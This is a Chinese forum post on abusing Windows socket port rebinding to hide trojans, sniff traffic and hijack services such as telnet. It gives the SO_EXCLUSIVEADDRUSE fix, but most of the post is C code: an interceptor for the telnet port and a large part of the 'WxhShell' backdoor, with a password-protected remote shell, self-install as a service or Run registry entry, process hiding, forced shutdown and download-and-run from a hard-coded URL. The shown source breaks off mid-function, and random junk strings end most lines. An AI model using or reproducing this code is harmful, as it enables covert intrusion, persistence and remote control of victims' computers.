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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 06q(aI^Ch@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7*5Z  
BZ!v%4^9  
  saddr.sin_family = AF_INET; <r#eL39I  
*z*uEcitW  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !K f#@0E..  
?L&'- e@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }|u4 W?H  
*!s;"U  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W\&8au ds  
*t[. =_v  
  这意味着什么?意味着可以进行如下的攻击: Ez|oN,  
VXIP0p@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }J">}j]/  
Oy U  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) mGp.3{j  
.A sv%p[W  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u/cg|]x&T  
Q8!) !r%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \7Jg7*  
EQ'V{PIfj  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h%}/Cmx[  
n2)q}_d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &l3iV88  
*s9C!w YMZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S S2FTb-m  
> ;/l)qk,  
  #include Hemq +]6^  
  #include 9E>xIJ@J2T  
  #include 4"gM<z  
  #include    uV!^,,~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D6>HN[D"  
  int main() H&:jcgV*P  
  { U}[I   
  WORD wVersionRequested; S H!  
  DWORD ret; N5a*7EJv+  
  WSADATA wsaData; c-B cA  
  BOOL val; .zi_[  
  SOCKADDR_IN saddr; {NHdyc$  
  SOCKADDR_IN scaddr; spt6]"Ni  
  int err; XUz3*rfs  
  SOCKET s; <YdE1{fm  
  SOCKET sc; O8h%3&  
  int caddsize; :]\([Q+a  
  HANDLE mt; YB-h.1T-  
  DWORD tid;   <1uZa  
  wVersionRequested = MAKEWORD( 2, 2 ); ,P;Pm68V  
  err = WSAStartup( wVersionRequested, &wsaData ); r>o63Q:  
  if ( err != 0 ) { $<}$DH_Y  
  printf("error!WSAStartup failed!\n"); Qk:Y2mL  
  return -1; vX/T3WV  
  } OX\A|$GS  
  saddr.sin_family = AF_INET; Lm%:K]X  
    |y(Q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 RW<D<5C  
E=nIRG|g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <g$~1fa  
  saddr.sin_port = htons(23); D]zwl@sRX:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ynthDE o  
  { =vX/{C  
  printf("error!socket failed!\n"); i<#QW'R(  
  return -1; 'Gj3:-xqL  
  } ]n6#VTz*  
  val = TRUE; [_k1jHr48N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _852H$H\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `sn^ysp  
  { 4h|c<-`>t  
  printf("error!setsockopt failed!\n"); k>;`FFQU>  
  return -1; HiZ*+T.B  
  } h`^jyoF"(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dYJ(!V&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y [}.yyye  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Mk"^?%PxT  
H?yK~bGQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,Lr. 9I.  
  { "\w 7q  
  ret=GetLastError(); g6j?,c|y  
  printf("error!bind failed!\n"); 9jM}~XvV  
  return -1; H\ F :95  
  } KcWN,!G  
  listen(s,2); m| n  
  while(1) 5?{ r  
  { +^60T$  
  caddsize = sizeof(scaddr); TM%| '^)  
  //接受连接请求 ]cHgleHQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >g1~CEMN#  
  if(sc!=INVALID_SOCKET) q'T4w!V(V  
  { >mwlsL~X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0"<H;7K#W  
  if(mt==NULL) p`olCp'  
  { ZMQ Zs~;~d  
  printf("Thread Creat Failed!\n"); .*OdqLz  
  break; wr$("A(  
  } oH97=>  
  } y%"{I7!A  
  CloseHandle(mt); XP!S$Q]D  
  } mE+*)gb:Rd  
  closesocket(s); ~Y^+M*   
  WSACleanup(); (KjoSN( K  
  return 0; +}Dw3;W}m  
  }   \ 2M_\Q`NY  
  DWORD WINAPI ClientThread(LPVOID lpParam) |jGf<Bf5  
  { IaSR;/  
  SOCKET ss = (SOCKET)lpParam; <FV1Wz  
  SOCKET sc; G#ZH.24Y  
  unsigned char buf[4096]; <sb~ ^B  
  SOCKADDR_IN saddr; }bb;~  
  long num; T<n  
  DWORD val; Acez'@z  
  DWORD ret; b/+u4'"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 G/)O@Ugp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6AAz  
  saddr.sin_family = AF_INET; BtkOnbz8X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3#3n!(  
  saddr.sin_port = htons(23); `V}q-Zdy  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X-bcQ@Oj  
  { r8`ffH  
  printf("error!socket failed!\n"); |mZxfI  
  return -1; Ytn9B}%o  
  } KI"#f$2&  
  val = 100; ER%^!xA  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [_BP)e  
  { d[iQ` YW5  
  ret = GetLastError(); g|o,uD  
  return -1; qU \w=  
  } Q *D;U[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qqjwJ!@P  
  { `+]Qz =}  
  ret = GetLastError(); (p"%O  
  return -1; 4>wP7`/+y  
  } R$R *'l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Zu*F#s!tUI  
  { \1k79c  
  printf("error!socket connect failed!\n"); 8SMxw~9$  
  closesocket(sc); {5Q!Y&N.%  
  closesocket(ss); E^ B'4  
  return -1; L^1NY3=$  
  } ( >LF(ll  
  while(1) ?tWaI{95I  
  { Yj&F;_~   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )v'WWwXY>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l0|5t)jF-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LP.]9ut  
  num = recv(ss,buf,4096,0); )*$lp'~7N  
  if(num>0) O %\*@4zM  
  send(sc,buf,num,0); fBU`k_  
  else if(num==0) nGC/R&  
  break; ^}RCoE  
  num = recv(sc,buf,4096,0); { a =#B)6  
  if(num>0) W_JlOc!y  
  send(ss,buf,num,0); Sj3+l7S?  
  else if(num==0) p?02C# p  
  break; lov!o: dJ  
  } &)QX7*H  
  closesocket(ss); =O~_Q-  
  closesocket(sc); 4S7v:1~xe  
  return 0 ; J"0`%'*/  
  } Sh/08+@+L:  
Lc}y<=P@  
 0HZ{Y9]  
========================================================== 6,pnw  
Fn wJ+GTu  
下边附上一个代码,,WXhSHELL i}cRi&2[  
ncaT?~u j  
========================================================== atj(eg  
u^&^UxCA  
#include "stdafx.h" y5vvu>nd  
R|'ybW'Y  
#include <stdio.h> AzPu)  
#include <string.h> QFA8N  
#include <windows.h> rjK%t|aV^  
#include <winsock2.h> hqD*z6aH  
#include <winsvc.h> @ JGP,445  
#include <urlmon.h> 49eD1h3'X[  
xw.A #Zb\_  
#pragma comment (lib, "Ws2_32.lib") 1 s\Wtw:  
#pragma comment (lib, "urlmon.lib") Q1Kfi8h}'  
(|2t#'m  
#define MAX_USER   100 // 最大客户端连接数 C2!|OQ9A2  
#define BUF_SOCK   200 // sock buffer t^&Cxh  
#define KEY_BUFF   255 // 输入 buffer [:dY0r+  
pd?M f=>#  
#define REBOOT     0   // 重启 G0Iw-vf  
#define SHUTDOWN   1   // 关机 )Om*@;r(  
Ao 'l"-  
#define DEF_PORT   5000 // 监听端口 P1!qbFDv8  
)705V|v  
#define REG_LEN     16   // 注册表键长度 Zj(AJ*r  
#define SVC_LEN     80   // NT服务名长度 X;$+,&M"  
\$K20)  
// 从dll定义API 5%"V[lDx@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F~-(:7j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u*eV@KK!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /l3V3B7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GblA9F7  
Y/F6\oh  
// wxhshell配置信息 -E[Kml~U  
struct WSCFG { I^.Om])  
  int ws_port;         // 监听端口 O 2V  
  char ws_passstr[REG_LEN]; // 口令 Cp\6W[2+B  
  int ws_autoins;       // 安装标记, 1=yes 0=no poE0{HOU  
  char ws_regname[REG_LEN]; // 注册表键名 hW<%R]^|  
  char ws_svcname[REG_LEN]; // 服务名 |]bsCmD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /PVk{3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i$Ul(?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cZ,b?I"Q%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Xg6Jh``  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9X6h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ov@gh kr  
}CSDV9).S  
};  1~gnc|?  
l$KA)xbI  
// default Wxhshell configuration t 9lPb_70  
struct WSCFG wscfg={DEF_PORT, FaAC&F@u  
    "xuhuanlingzhe", MpT8" /.]A  
    1, Q0sI(V#  
    "Wxhshell", hgG9m[?K  
    "Wxhshell", : $1?i)  
            "WxhShell Service", 8S TvCH"Z_  
    "Wrsky Windows CmdShell Service", "x0^#AVg  
    "Please Input Your Password: ", b/K PaNv  
  1, z(ONv#}p  
  "http://www.wrsky.com/wxhshell.exe", [jQp~&nY  
  "Wxhshell.exe" &u."A3(  
    }; `7E;VL^Y1  
T=DbBy0-  
// 消息定义模块 %@b0[ZC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jVe1b1rt~3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]h`&&Bqt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LE Nq_@$  
char *msg_ws_ext="\n\rExit."; bIDj[-CDG  
char *msg_ws_end="\n\rQuit."; _;S-x  
char *msg_ws_boot="\n\rReboot..."; >NV @R&  
char *msg_ws_poff="\n\rShutdown..."; zaIKdI'/e  
char *msg_ws_down="\n\rSave to "; fUWG*o9  
,Zx0%#6  
char *msg_ws_err="\n\rErr!"; h8q[1"a:  
char *msg_ws_ok="\n\rOK!"; dlh)gp;  
6GlJ>r+n  
char ExeFile[MAX_PATH]; RMV/&85?y  
int nUser = 0; Qp5VP@t  
HANDLE handles[MAX_USER]; C}j"Qi`  
int OsIsNt; N{!i=A  
5{WE~8$  
SERVICE_STATUS       serviceStatus; UW={[h{.|@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @D[_}JE  
Y1\}5k{>  
// 函数声明 &&8x%Pml  
int Install(void); !qQl@j O  
int Uninstall(void); eS^7A}*wd-  
int DownloadFile(char *sURL, SOCKET wsh); 1s&zMWC  
int Boot(int flag); u/0h$l  
void HideProc(void); WDYeOtc  
int GetOsVer(void); yWc$>ne[L  
int Wxhshell(SOCKET wsl); tKuwpT1Qc  
void TalkWithClient(void *cs); "S]0  
int CmdShell(SOCKET sock); 9<?M8_  
int StartFromService(void); oSKXt}sh  
int StartWxhshell(LPSTR lpCmdLine); 2 RX;Ob_  
9rX&uP)j^#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $99n&t$Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oCv.Ln1;Z  
{w O|)|  
// 数据结构和表定义 m])y.T  
SERVICE_TABLE_ENTRY DispatchTable[] = iq8<ov  
{ ;4\ 2.* s  
{wscfg.ws_svcname, NTServiceMain}, ub0.J#j@  
{NULL, NULL} ?zMHP#i  
}; < NY^M!  
`$IK`O  
// 自我安装 $)i")=Hy  
int Install(void) Et_bH%0  
{ Lg+Ac5y}`  
  char svExeFile[MAX_PATH]; +)om^e@.  
  HKEY key; H|<[YYk  
  strcpy(svExeFile,ExeFile); ;8&3 dm]  
NiEUW.0  
// 如果是win9x系统,修改注册表设为自启动 RLXL&  
if(!OsIsNt) { ,-LwtePJ0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M/'sl;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O6 3<AY@  
  RegCloseKey(key); 2wg5#i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )EuvRLo{S7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HWrO"b*tO  
  RegCloseKey(key); {]!mrAjD  
  return 0; i# /Jr=  
    } {lDd.Fn  
  } 2]jn '4  
} Sv#XIMw{,  
else { XEp{VC@=  
]cWUZ{puRB  
// 如果是NT以上系统,安装为系统服务 4he GnMD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Zn+.;o)E<  
if (schSCManager!=0) %XDc,AR[  
{ HZB>{O  
  SC_HANDLE schService = CreateService P )"m0Lu<  
  ( 2;`1h[,-^  
  schSCManager, b5I I/Y  
  wscfg.ws_svcname, )9G[dDeC  
  wscfg.ws_svcdisp, N)|yu1S  
  SERVICE_ALL_ACCESS, 6<SAa#@ey  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %lhEM}Sm  
  SERVICE_AUTO_START, \ZFGw&yN  
  SERVICE_ERROR_NORMAL, kx{{_w  
  svExeFile, <z&/L/bl"  
  NULL, @V sG'  
  NULL, xC:L)7#aw  
  NULL, qJs<#MQ2  
  NULL, L|+~"'l  
  NULL 286;=rN]*  
  ); L#?Ek-  
  if (schService!=0) h8S.x)  
  { 4r#= *  
  CloseServiceHandle(schService); 85$m[+md  
  CloseServiceHandle(schSCManager); dr}`H,X"3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x,+{9  
  strcat(svExeFile,wscfg.ws_svcname); |bHelD|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -UEZ#Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TDKki(o=~  
  RegCloseKey(key); BLdvyVFx  
  return 0; ItVWO:x&v  
    } %6,SKg p  
  } &X ):4  
  CloseServiceHandle(schSCManager); (O?.)jEW(.  
} d#Y^>"|$.  
} P>C~ i:4n  
z"L/G  
return 1; qp }Cqi  
} Lc,Pom  
]L $\ #  
// 自我卸载 jl$ece5v  
int Uninstall(void) A]0 St@  
{ K~{$oD7!  
  HKEY key; ~d4 )/y  
Pb4X\9^  
if(!OsIsNt) { M61xPq8y5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =pO^7g  
  RegDeleteValue(key,wscfg.ws_regname); $E~`\o%Ev  
  RegCloseKey(key); A*2jENgci  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7M!I8C0!aO  
  RegDeleteValue(key,wscfg.ws_regname); cWaSn7p!X  
  RegCloseKey(key); I\{ 1u  
  return 0; Y@vTaE^w3  
  } "Mn6U-  
} <tNBxa$gS  
} KIf dafRL  
else { gMmaK0uhS  
eS\Vib  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SCHP L.n  
if (schSCManager!=0) - q1?? u  
{ 5h-SCB>P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Tod&&T'UW  
  if (schService!=0) &\WSQmtto  
  { BC#C9|n  
  if(DeleteService(schService)!=0) { xp)sBM7A  
  CloseServiceHandle(schService); T{.pM4Hd  
  CloseServiceHandle(schSCManager); ?m}s4a  
  return 0; 3>AMII  
  } m)t;9J5  
  CloseServiceHandle(schService); `l ^9/_g'6  
  } rk2j#>l$4  
  CloseServiceHandle(schSCManager); 2g-j.TM  
} z6=Z\P+  
} Ts[_u@   
kR-SE5`Jk  
return 1; O7m(o:t x3  
} mb TEp*H  
i {NzV  
// 从指定url下载文件 }<v@01  
int DownloadFile(char *sURL, SOCKET wsh) 5y [Oj^  
{ iDp)FQ$  
  HRESULT hr; D9=KXo^  
char seps[]= "/"; JN-y)L/>  
char *token; (AaoCa[  
char *file; RQ'9m^  
char myURL[MAX_PATH]; ]Kt6^|S$a  
char myFILE[MAX_PATH]; C=L>zOZ  
v\gLWq'  
strcpy(myURL,sURL); Bi3<7  
  token=strtok(myURL,seps); rNWw?_H-H(  
  while(token!=NULL) 5h=}j  
  { %~H-)_d20  
    file=token; DFB@O|JL  
  token=strtok(NULL,seps); a`E#F] Z  
  } qs6]-  
p Z|V 3  
GetCurrentDirectory(MAX_PATH,myFILE); x_N'TjS^{  
strcat(myFILE, "\\"); x;P_1J%Q  
strcat(myFILE, file); .\ULbN3Z  
  send(wsh,myFILE,strlen(myFILE),0); d9f C<Tp  
send(wsh,"...",3,0); :841qCW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %+W{iu[|  
  if(hr==S_OK) r1`x=r   
return 0; |P HT694Uz  
else f;o5=)Y  
return 1; eCU:Q  
"Y =;.:qe  
} _ @NL;w:!  
kzQ+j8.,U  
// 系统电源模块 GX!G>  
int Boot(int flag) pHXm>gTd,J  
{ jUYWrYJ  
  HANDLE hToken; 45@ I*`  
  TOKEN_PRIVILEGES tkp; SuJ aL-;  
u^ +7hkk  
  if(OsIsNt) { VGy<")8D/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {0Yf]FQb-a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r;.yz I  
    tkp.PrivilegeCount = 1; *SbMqASv4G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; taHJ ub  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vAF "n  
if(flag==REBOOT) { ,F8Yn5h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gZ3u=uME  
  return 0; Xv5wJlc!d  
} D[[|")Fn  
else { _/s$ZCd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *MhRW,=  
  return 0; z;,u}u}aI  
} m{Wu" ;e  
  } 8`B3;Zmm  
  else { sQHv%]s 0  
if(flag==REBOOT) { p SH=%u>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F3[T.sf  
  return 0; ^+>laOzC`8  
} T\6dm/5  
else { 2+ N]PW\V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j ?3wvw6T  
  return 0; T"}5}6rSG  
} X Swl Tg  
} g#pr yYz  
O-0x8O^B  
return 1; ?DS@e@lx  
} r ,8 [O  
(?1y4M  
// win9x进程隐藏模块 ouvA~/5  
void HideProc(void) $Ps|HN  
{ Af~$TyX  
-e"H ^:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b;B%q$sntC  
  if ( hKernel != NULL ) wtLO!=B  
  { PFlNo` iO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Gi|w}j_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $t'MSlF  
    FreeLibrary(hKernel); y4 #>X  
  } R6<X%*&%  
}z'8Bu  
return; j;+b0(53  
} $lfn(b,  
$ZhF h{DQ.  
// 获取操作系统版本 b4%??"&<Y  
int GetOsVer(void) !3c\NbU  
{ 1Z/(G1  
  OSVERSIONINFO winfo; a{'vN93  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g]l'' 7G  
  GetVersionEx(&winfo); cN-?l7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gS!:+G%  
  return 1; t9GR69v:?  
  else z3{G9Np  
  return 0; n:I,PS0H<  
} c)6m$5]  
fZGX}T<)p-  
// 客户端句柄模块 .ljnDL/  
int Wxhshell(SOCKET wsl) pGP7nw_g  
{ U*rcd-@  
  SOCKET wsh; DD+7V@  
  struct sockaddr_in client; :DK {Vg6  
  DWORD myID; 8?B!2  
!]A  
  while(nUser<MAX_USER) 0I-9nuw,^;  
{ ('4_ xOb  
  int nSize=sizeof(client); [NjXO`5#]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k{R>  
  if(wsh==INVALID_SOCKET) return 1; 60^`JVGWH  
p;`>e>$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j1Y~_  
if(handles[nUser]==0) L Tm2G4+]  
  closesocket(wsh); R"/GQ`^AqA  
else fh&nu"&  
  nUser++; v|)4ocFK  
  } 1W c=5!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nK1Slg#U  
>mbHy<<  
  return 0; 9d0@wq.  
} =g7x' kN  
;Zcswt8]u  
// 关闭 socket gs^Xf;g vI  
void CloseIt(SOCKET wsh) *?@?f&E/  
{ ]\-A;}\e  
closesocket(wsh); ch*8B(:  
nUser--; (U D nsF  
ExitThread(0); o*+"|  
} d~])K#oJ  
h"B+hu  
// 客户端请求句柄 6%\J"AgXO  
void TalkWithClient(void *cs) \Gef \   
{ Y,qI@n<  
hk;5w{t}}  
  SOCKET wsh=(SOCKET)cs; v4a8}G  
  char pwd[SVC_LEN]; +qN>.y!Y  
  char cmd[KEY_BUFF]; r5S[-`s;  
char chr[1]; '0;l]/i.  
int i,j; ^ox=HNV  
j.[.1G*("  
  while (nUser < MAX_USER) { zF`0J  
&Q/W~)~  
if(wscfg.ws_passstr) { F>Ah0U0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _O)>$.^6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  h},IF  
  //ZeroMemory(pwd,KEY_BUFF);  Po+.&7F  
      i=0; i'<[DjMDlm  
  while(i<SVC_LEN) { 4Co6(  
g\|PcoLm  
  // 设置超时 q_:4w$>  
  fd_set FdRead; V5@:#BIs  
  struct timeval TimeOut; J/`<!$<c  
  FD_ZERO(&FdRead); ^do9*YejX;  
  FD_SET(wsh,&FdRead); f#>,1,S  
  TimeOut.tv_sec=8; djl*H  
  TimeOut.tv_usec=0; #Qw0&kM7I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u=*FI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c1(RuP:S  
.|KyNBn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1/B>XkCJ  
  pwd=chr[0]; U7,e/?a  
  if(chr[0]==0xd || chr[0]==0xa) { |w~nVRb  
  pwd=0; ZoW?nxY  
  break; G`D`Af/B  
  } vQG5*pR*w  
  i++; @Rze| T.  
    } ;J( 8 L  
6xmZXp d!  
  // 如果是非法用户,关闭 socket 3lL-)<0A(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F}yW/  
} ](]i 'fE>  
[-1^-bb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @}u*|P*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h%na>G  
tPWLg),  
while(1) { c% -Tem'#  
jxJ8(sr$  
  ZeroMemory(cmd,KEY_BUFF); >{n,L6_ t  
VOsR An/N  
      // 自动支持客户端 telnet标准   s*KhF'fN  
  j=0; XAKs0*J>  
  while(j<KEY_BUFF) { h]&GLb&<?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wD}l$ & +  
  cmd[j]=chr[0]; .&iawz  
  if(chr[0]==0xa || chr[0]==0xd) { a#(?P.6  
  cmd[j]=0; 23eX;gL  
  break; m#Jmdb_  
  } |)DGkOtd  
  j++; HXC ;Np  
    }  #4NaL  
edq4D53  
  // 下载文件 !RS}NS  
  if(strstr(cmd,"http://")) { 5X$jl;6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1p3z1_wrs  
  if(DownloadFile(cmd,wsh)) V*;(kEqj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |-67 \p]  
  else <]t%8GB2V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QD&`^(X1p  
  } u(.e8~s8  
  else { B2vh-%63  
z=\&i\>;Z+  
    switch(cmd[0]) { j?\Qh  
  vkV0On  
  // 帮助 a 7 V-C  
  case '?': { 2DDtu[}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'W^YM@  
    break; Xf]d. :  
  } 8U"v6S~A%Q  
  // 安装 )T2Caqs2  
  case 'i': { z6\UGSL  
    if(Install()) ;%9|k U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9!\B6=r y4  
    else !X#OOqPr=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !;v|'I  
    break; m4Qh%}9%  
    } <8&au(I,vB  
  // 卸载 a(X@Q8l:  
  case 'r': { `UyG_;  
    if(Uninstall()) '3tCH)s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xza(k  
    else (*'f+R`$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &-6Gc;f8  
    break; 2 c{34:  
    } CNyIQ}NJ  
  // 显示 wxhshell 所在路径 DU'`ewLL7  
  case 'p': { CAWNDl4  
    char svExeFile[MAX_PATH]; BoWg0*5xb  
    strcpy(svExeFile,"\n\r"); dt]-,Y  
      strcat(svExeFile,ExeFile); R4cM%l_#W  
        send(wsh,svExeFile,strlen(svExeFile),0); ~L\z8[<C  
    break; `i*E~'  
    } w+|L+h3L7  
  // 重启 $szqy?i 0?  
  case 'b': { 5r|,CQ7o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :Yh+>c}N  
    if(Boot(REBOOT)) Cctu|^V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D_*WYV  
    else { - %h.t+=U  
    closesocket(wsh); :U%W%  
    ExitThread(0); ;bib/  
    } 8qTys8  
    break; dn+KH+v  
    } s};{ZAtE  
  // 关机 ?Ep [M:,q  
  case 'd': { K=k"a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n M*%o-  
